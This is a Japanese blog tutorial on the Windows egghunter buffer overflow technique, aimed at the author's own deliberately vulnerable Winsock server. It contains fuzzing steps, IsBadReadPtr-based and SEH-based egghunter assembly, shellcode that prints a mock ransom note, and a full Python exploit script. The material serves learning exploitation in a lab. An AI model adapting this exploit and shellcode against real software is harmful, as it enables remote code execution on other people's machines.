はじめに
はじめまして、DP部新人のもたもたです。
今でこそフレームワークの充実やOS側の防御が充実し、あまり見ることがなくなった感のあるバッファオーバーフロー脆弱性ですが、たまに見つかってしまうとRCEの可能性のある危険なものであることに変わりはありません。
そんなバッファオーバーフローにはバッファの大きさ、位置、OS側の防御策などによってさまざまなテクニックが存在しています。
今回はあえてレガシーなものを調べてみたくなったので、その内のひとつ、egghunterというテクニックについて解説していきたいと思います。
準備
まずバッファオーバーフローが発生するコードを用意していきます。
vulnserverなど、既にあるものを使うのもいいのですが、今回はバッファオーバーフローの包括的な勉強を兼ねたかったこともあって簡単なコードを自分で作成しました。
Winsock サーバー コードの完了 - Win32 apps | Microsoft Learn
をベースとしています。
#undef UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
// Need to link with Ws2_32.lib
#pragma comment (lib, "Ws2_32.lib")
// #pragma comment (lib, "Mswsock.lib")
#pragma warning(disable : 4996)
#define DEFAULT_BUFLEN 4096
#define DEFAULT_PORT "27015"
int do_recv_act(char*, char*);
//受け取ったバッファに関し、
int do_check_act(char*, char*);
int do_act(char*, char*);
int main(void)
{
char buf1[800] = "\0";
char buf2[800] = "\0";
do_recv_act(buf1, buf2);
if (do_check_act(buf1,buf2)==1) {
do_act(buf1, buf2);
printf("%s\n",buf1);
}
else
{
printf("second buffer unconsistent\n");
}
}
int do_check_act(char* buffer1, char* buffer2)
{
//buf2の最初から一定bufferが正しい値(A)で埋められていることを確認する。
for (int i = 0; i < 60; i++)
{
if (buffer2[i] != 'A') { return -1; }
}
return 1;
}
int do_act(char* buffer1, char* buffer2)
{
//打ち間違いを起こしたとする。
char buf4[60] = "\0";
strncpy(buf4, buffer2, 160);
return 1;
}
int __cdecl do_recv_act(char* buffer1, char* buffer2)
{
WSADATA wsaData;
int iResult;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
struct addrinfo* result = NULL;
struct addrinfo hints;
int iSendResult;
char recvbuf[DEFAULT_BUFLEN];
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
// Resolve the server address and port
iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
// Create a SOCKET for the server to listen for client connections.
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
// Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
if (iResult == SOCKET_ERROR) {
printf("bind failed with error: %d\n", WSAGetLastError());
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
printf("listen failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
// Accept a client socket
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
printf("accept failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
// No longer need server socket
closesocket(ListenSocket);
// Receive until the peer shuts down the connection
do {
//本来のshellcodeを書き込む
printf("first buffer / place shellcode\n");
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
printf("Bytes received: %d\n", iResult);
printf("got buffer:%s", recvbuf);
//senderへと応答を返す
strncpy(buffer1, recvbuf, 800);
iSendResult = send(ClientSocket, "placed shellcode", 17, 0);
if (iSendResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
printf("Bytes sent: %d\n", iSendResult);
//egghunterを書き込む
printf("second buffer / place egghunter\n");
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
printf("Bytes received: %d\n", iResult);
printf("got buffer:%s", recvbuf);
// Echo the buffer back to the sender
iSendResult = send(ClientSocket, "placed egghunter\n", 18, 0);
if (iSendResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
strncpy(buffer2,recvbuf,800);
printf("Bytes sent: %d\n", iSendResult);
}
else if (iResult == 0)
printf("Connection closing...\n");
else {
printf("recv failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
}
else if (iResult == 0)
printf("Connection closing...\n");
else {
printf("recv failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
} while (iResult > 0);
// shutdown the connection since we're done
iResult = shutdown(ClientSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
// cleanup
closesocket(ClientSocket);
WSACleanup();
return 0;
}
このプログラムはsocketを開き、二回に分けて入力を受け付ける仕組みとなっています。
しかし、一回目の受信バッファは直接バッファオーバーフローを起こすことはなく、二回目の受信バッファは60バイト分がAで埋められるプロトコルとなっているため、残り160-60=100バイト程度で実行したいshellcodeを作らなければなりません。
今回実行したいshellcodeは以下のようになります。
xor eax,eax
push eax
push 0x29736573
push 0x6f707275
push 0x70206c61
push 0x746e656d
push 0x69726570
push 0x78652072
push 0x6f662065
push 0x67617373
push 0x656d2065
push 0x6b616620
push 0x61207369
push 0x20736968
push 0x54203a65
push 0x746f4e28
push 0x20212179
push 0x6f6a6e65
push 0x202e6572
push 0x65682064
push 0x65696669
push 0x63657073
push 0x20746e75
push 0x6f636361
push 0x20656874
push 0x206f7420
push 0x30303124
push 0x20726566
push 0x736e6172
push 0x74206573
push 0x61656c70
push 0x202c6e6f
push 0x69747079
push 0x72636e65
push 0x20676e69
push 0x6b636168
push 0x20656874
push 0x2065766f
push 0x6d657220
push 0x6f742073
push 0x7520746e
push 0x61772075
push 0x6f792066
push 0x49202020
push 0x2e64656b
push 0x63616820
push 0x73692072
push 0x65747570
push 0x6d6f6320
push 0x72756f59
push 0x20202e72
push 0x656b6361
push 0x68206d27
push 0x49202c6f
push 0x6c6c6548
push esp
mov eax,0xffeeeff0 //アプリケーション内のprintf関数を指す
neg eax
call eax
成功すると、以下のような脅迫文章がコンソールに出力される仕組みです。
Hello, I'm hacker. Your computer is hacked. If you want us to remove the hacking encryption, please transfer $100 to the account specified here. enjoy!! (Note: This is a fake message for experimental purposes)
(本当はMessageBox APIを使いたかったのですがなぜか機能せず...やむなく、あまり良いことではないのですが今回は名前解決などをパスしてアプリケーション内のprintfを使わせてもらうこととしました。PCが普段から使用している自前なのでmeterpreterなどはさすがに...ですし)
これは全部合わせて278バイトとなっており、ただoverflowを起こすだけでshellcodeに到達するのは難しくなっています。
ここから実行に持っていくには様々な手法がありますが、今回はegghunterを用います。
環境
windows11 10.0.22621
実行ファイル:32bit、DEPをoff
関数のアドレスなどは既知、スタック上の各変数の相対距離は未知という設定で行っていきます。
fuzzing
まず、fuzzingを行っていきます。
msf-pattern-createで作成した文字列を以下のように送信します。
s.send(b"A"*60+b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
windbgでクラッシュ時のデバッグをした結果が以下です。
eipを上書きした値は61413161であり、msf-pattern-offsetで調べると、オフセットは4と分かります。なので、60個のAから4バイト進んだ先のアドレスがeipに代入されることになります。
ここでeipを"jmp esp"命令を持つアドレスで書き換えることで、自分で渡したアセンブリコードへと実行を移すことができます。
しかし、Aで埋め尽くされて残る領域長は100バイトもなく、200バイトを超える脅迫文shellcodeを直接書き込むことはできません。そこで登場するテクニックがegghunterです。
egghunter
egghunterはeggと呼ばれる特定の文字列を目印としてメモリ領域全体を走査し、shellcodeを見つけて実行する短いコードとなります。今回は一回目の受信の際に受け取ったbufferがメモリ上に残るため、ここにeggとshellcodeを仕込み、そこまで辿り着ければ任意のshellcodeを実行することができます。
一つ目のバッファは、以下のような形式になりました。
malicious_code=b"\x31\xc0\x50\x68\x73\x65\x73\x29\x68\x75\x72\x70\x6f\x68\x61\x6c\x20\x70\x68\x6d\x65\x6e\x74\x68\x70\x65\x72\x69\x68\x72\x20\x65\x78\x68\x65\x20\x66\x6f\x68\x73\x73\x61\x67\x68\x65\x20\x6d\x65\x68\x20\x66\x61\x6b\x68\x69\x73\x20\x61\x68\x68\x69\x73\x20\x68\x65\x3a\x20\x54\x68\x28\x4e\x6f\x74\x68\x79\x21\x21\x20\x68\x65\x6e\x6a\x6f\x68\x72\x65\x2e\x20\x68\x64\x20\x68\x65\x68\x69\x66\x69\x65\x68\x73\x70\x65\x63\x68\x75\x6e\x74\x20\x68\x61\x63\x63\x6f\x68\x74\x68\x65\x20\x68\x20\x74\x6f\x20\x68\x24\x31\x30\x30\x68\x66\x65\x72\x20\x68\x72\x61\x6e\x73\x68\x73\x65\x20\x74\x68\x70\x6c\x65\x61\x68\x6f\x6e\x2c\x20\x68\x79\x70\x74\x69\x68\x65\x6e\x63\x72\x68\x69\x6e\x67\x20\x68\x68\x61\x63\x6b\x68\x74\x68\x65\x20\x68\x6f\x76\x65\x20\x68\x20\x72\x65\x6d\x68\x73\x20\x74\x6f\x68\x6e\x74\x20\x75\x68\x75\x20\x77\x61\x68\x66\x20\x79\x6f\x68\x20\x20\x20\x49\x68\x6b\x65\x64\x2e\x68\x20\x68\x61\x63\x68\x72\x20\x69\x73\x68\x70\x75\x74\x65\x68\x20\x63\x6f\x6d\x68\x59\x6f\x75\x72\x68\x72\x2e\x20\x20\x68\x61\x63\x6b\x65\x68\x27\x6d\x20\x68\x68\x6f\x2c\x20\x49\x68\x48\x65\x6c\x6c\x54\xb8\xf0\xef\xee\xff\xf7\xd8\xff\xd0"
s.send(b"gotagota"+b"\x90"*10+malicious_code+b"\x90"*100)
この時、"gotagota"が目印となるeggとなります。
しかし問題として、メモリ走査の過程で読み込み可能属性を持たないメモリ領域にアクセスしてしまうAccess Violationが発生してしまいます。これをうまく処理できなければ、実行が途中で停止してしまいます。
これを対処する手法は大きく分けて二種類存在します。
手法1:APIを用いて領域への読み込みの可否を調べ、可能だったアドレスだけを探索する
Windowsにはメモリ領域に対する読み込みができるかを確認できるAPIやシステムコールが存在しています。
今回はIsBadReadPtr関数を用います。この関数は引数として与えられたアドレスに対し、読み出しが可能であるかを返すものです。
この関数を利用したegghunterのコードは以下のようになります。
実装にあたっては、egghunt-shellcode.pdf (hick.org)の解説が大いに参考になりました。
start:
xor ecx,ecx //ecxはアドレスを表すレジスタ。
refresh_page:
or cx,0x0fff //inc ecxと合わせることで、読み込み可能なら1、読み込み不可能なら1000ずつecxを増やす。
page_can_touch:
inc ecx
push 0x8
push ecx
push 7620ce40h //IsBadReadPtrのアドレス
pop ebx
call ebx //関数呼び出し
sub esp,0x8
pop ecx
cmp al, 1 //0ならページ読み込みが可能、1なら不可能
je refresh_page
search_egg:
mov edx, 0x61746f6D //motamota
cmp [ecx], edx
jne page_can_touch
add ecx,4
cmp [ecx], edx
jne page_can_touch
execute_code:
add ecx,4
jmp ecx
しかし、実際にこのegghunterを送信し、64bitOSを使ってターミナル上で実行するとハングアップしてしまいました。
また、デバッガを使って原因を特定しようとすると、ある程度探索が進んだあたりでstack overflowを発生させて操作を受け付けなくなることがほとんどでした。
一応、ecxレジスタを操作してある程度近くまで実行フローを持っていくとちゃんとコードに到達してくれるのですが...
今回は手法1を諦め、手法2を試みました。
手法2:SEH(構造化例外処理)を利用して領域読み込みの際に発生する例外を捕捉し、正しい実行フローへと戻す
windowsは例外を処理する際に、例外チェーンというものを作成しています。これの実体はEXCEPTION_REGISTRATION_RECORDという構造体で作られた以下のようなリンクリストです。
例外が起きるとプログラムはTIBに記された最初のEXCEPTION_REGISTRATION_RECORDに飛び、さらにhandlerに記されたアドレスの処理を実行します。
その後nextに記された次のEXCEPTION_REGISTRATION_RECORDに飛び...といった動作を繰り返して問題を解決します。
この例外チェーンの一番最初にあたるEXCEPTION_REGISTRATION_RECORD構造体(図中でいう00eff97c)の存在するアドレスは、fsレジスタが示す値を用いてプログラムのどこからでも参照できます。
そしてEXCEPTION_REGISTRATION_RECORDは二つのアドレスを持つ構造体であり、実体としては連続するアドレス2つに過ぎないので簡単に偽造することができてしまいます。
なので、自分で作成したshellcodeアドレスをhandlerとして持つEXCEPTION_REGISTRATION_RECORD構造体で本来のリンクリストが始まるアドレスを上書きして強制的に例外処理を登録し、読み取り例外が起きたときに自分のコードに戻ってこれるようにするというのが、SEHを用いたegghunterの原理です。
https://github.com/epi052/osed-scripts/blob/main/egghunter.py
を参考に、自分で書いてみたのが以下のコードとなります。参考にしたものよりややサイズが大きくなっており、自分の未熟さが分かります...
順序が少し変わるだけで色々考えなければならないことが増えました。
start: //egghunter開始
jmp setup_caller
setup_seh: //例外ハンドラを作成する。
pop ebx
push ebx //handler: " push 0x0c "の位置を指す
push -1 //next:fffffff
xor eax,eax
mov fs:[eax],esp //exceptionの登録
sub ebx, 0x04 //exception handlerに発生する位置の制約を回避するための計算
add eax, 0x04
mov dword ptr fs:[eax], ebx
start_hunt:
xor ecx,ecx //ecxはアドレスを表すレジスタ。
refresh_page:
or cx,0x0fff // inc ecxと合わせることで、読み込み可能なら1、読み込み不可能なら1000ずつecxを増やす。
inc_one:
inc ecx
search_egg:
mov edx, 0x61746f6D //motamota
cmp [ecx], edx
jne inc_one
add ecx,4
cmp [ecx], edx
jne inc_one
execute_code:
add ecx,4
jmp ecx
setup_caller: //seh handlerを作成する関数を呼び出すための関数。
call setup_seh
deal_mem_error: //例外発生時に呼び出される関数。Contextオブジェクトからeipを取得し変更することで、元の実行フローに戻れるようにする。
push 0x0c
pop ebx
mov eax,[esp+ebx]
mov bl,0xb8
sub dword ptr ds:[eax+ebx], 0x0b
pop eax
add esp, 0x10
push eax
xor eax,eax
ret
これを送信することで、shellcodeの実行を観測することができました。
最後に、exploit全体のソースコードを示します。
import socket
import sys
from struct import pack
def main():
if len(sys.argv) != 2:
print("lack of argument!" % (sys.argv[0]))
sys.exit(1)
server = sys.argv[1]
port = 27015
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
#実行したい脅迫文shellcode
malicious_code=b"\x31\xc0\x50\x68\x73\x65\x73\x29\x68\x75\x72\x70\x6f\x68\x61\x6c\x20\x70\x68\x6d\x65\x6e\x74\x68\x70\x65\x72\x69\x68\x72\x20\x65\x78\x68\x65\x20\x66\x6f\x68\x73\x73\x61\x67\x68\x65\x20\x6d\x65\x68\x20\x66\x61\x6b\x68\x69\x73\x20\x61\x68\x68\x69\x73\x20\x68\x65\x3a\x20\x54\x68\x28\x4e\x6f\x74\x68\x79\x21\x21\x20\x68\x65\x6e\x6a\x6f\x68\x72\x65\x2e\x20\x68\x64\x20\x68\x65\x68\x69\x66\x69\x65\x68\x73\x70\x65\x63\x68\x75\x6e\x74\x20\x68\x61\x63\x63\x6f\x68\x74\x68\x65\x20\x68\x20\x74\x6f\x20\x68\x24\x31\x30\x30\x68\x66\x65\x72\x20\x68\x72\x61\x6e\x73\x68\x73\x65\x20\x74\x68\x70\x6c\x65\x61\x68\x6f\x6e\x2c\x20\x68\x79\x70\x74\x69\x68\x65\x6e\x63\x72\x68\x69\x6e\x67\x20\x68\x68\x61\x63\x6b\x68\x74\x68\x65\x20\x68\x6f\x76\x65\x20\x68\x20\x72\x65\x6d\x68\x73\x20\x74\x6f\x68\x6e\x74\x20\x75\x68\x75\x20\x77\x61\x68\x66\x20\x79\x6f\x68\x20\x20\x20\x49\x68\x6b\x65\x64\x2e\x68\x20\x68\x61\x63\x68\x72\x20\x69\x73\x68\x70\x75\x74\x65\x68\x20\x63\x6f\x6d\x68\x59\x6f\x75\x72\x68\x72\x2e\x20\x20\x68\x61\x63\x6b\x65\x68\x27\x6d\x20\x68\x68\x6f\x2c\x20\x49\x68\x48\x65\x6c\x6c\x54\xb8\xf0\xef\xee\xff\xf7\xd8\xff\xd0"
s.send(b"gotagota"+b"\x90"*10+malicious_code+b"\x90"*100)
print(s.recv(1024).decode("utf-8"))
#s.send(b"A"*60+b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
buf=b"A"*60
buf+= b"\x90"*4
buf+= pack("<L", (0x774b5ba0))
buf+= b"\x90"*1
#seh
egghunter=b"\xeb\x2f\x5b\x53\x6a\xff\x31\xc0\x64\x89\x20\x83\xeb\x04\x83\xc0\x04\x64\x89\x18\x31\xc9\x66\x81\xc9\xff\x0f\x41\xba\x67\x6f\x74\x61\x39\x11\x75\xf6\x83\xc1\x04\x39\x11\x75\xef\x83\xc1\x04\xff\xe1\xe8\xcc\xff\xff\xff\x6a\x0c\x5b\x8b\x04\x1c\xb3\xb8\x83\x2c\x18\x0b\x58\x83\xc4\x10\x50\x31\xc0\xc3"
print(len(egghunter))
buf+=egghunter
s.send(buf)
print(s.recv(1024).decode("utf-8"))
s.close()
print("[+] Packet sent")
sys.exit(0)
if __name__ == "__main__":
main()
メリット/デメリット
メリットとしては、ROPなどと比べるとコードの使いまわしがしやすいことが考えられます。jmp espなどは必要ですが、egghunterと比べるとshellcode部分はほとんど使いまわすことができます。
デメリットとしてはDEPがあると使えない、SEHを使うコードの場合はSafeSEHで無効にされるなどの制約があることでしょうか。
最後に
今回はwindowsでegghunterを試しました。
egghunterに限らずバッファオーバーフローやshellcode自体が初めに述べた通りあまり使われない感はありますが、それでもこういったややレガシーめな技術には独特の工夫があり、学んでいてとても楽しかったです。
またshell-stormなどを見ていると、他にも面白いshellcodeがたくさんありますので、ぜひご覧になってみてはいかがでしょうか。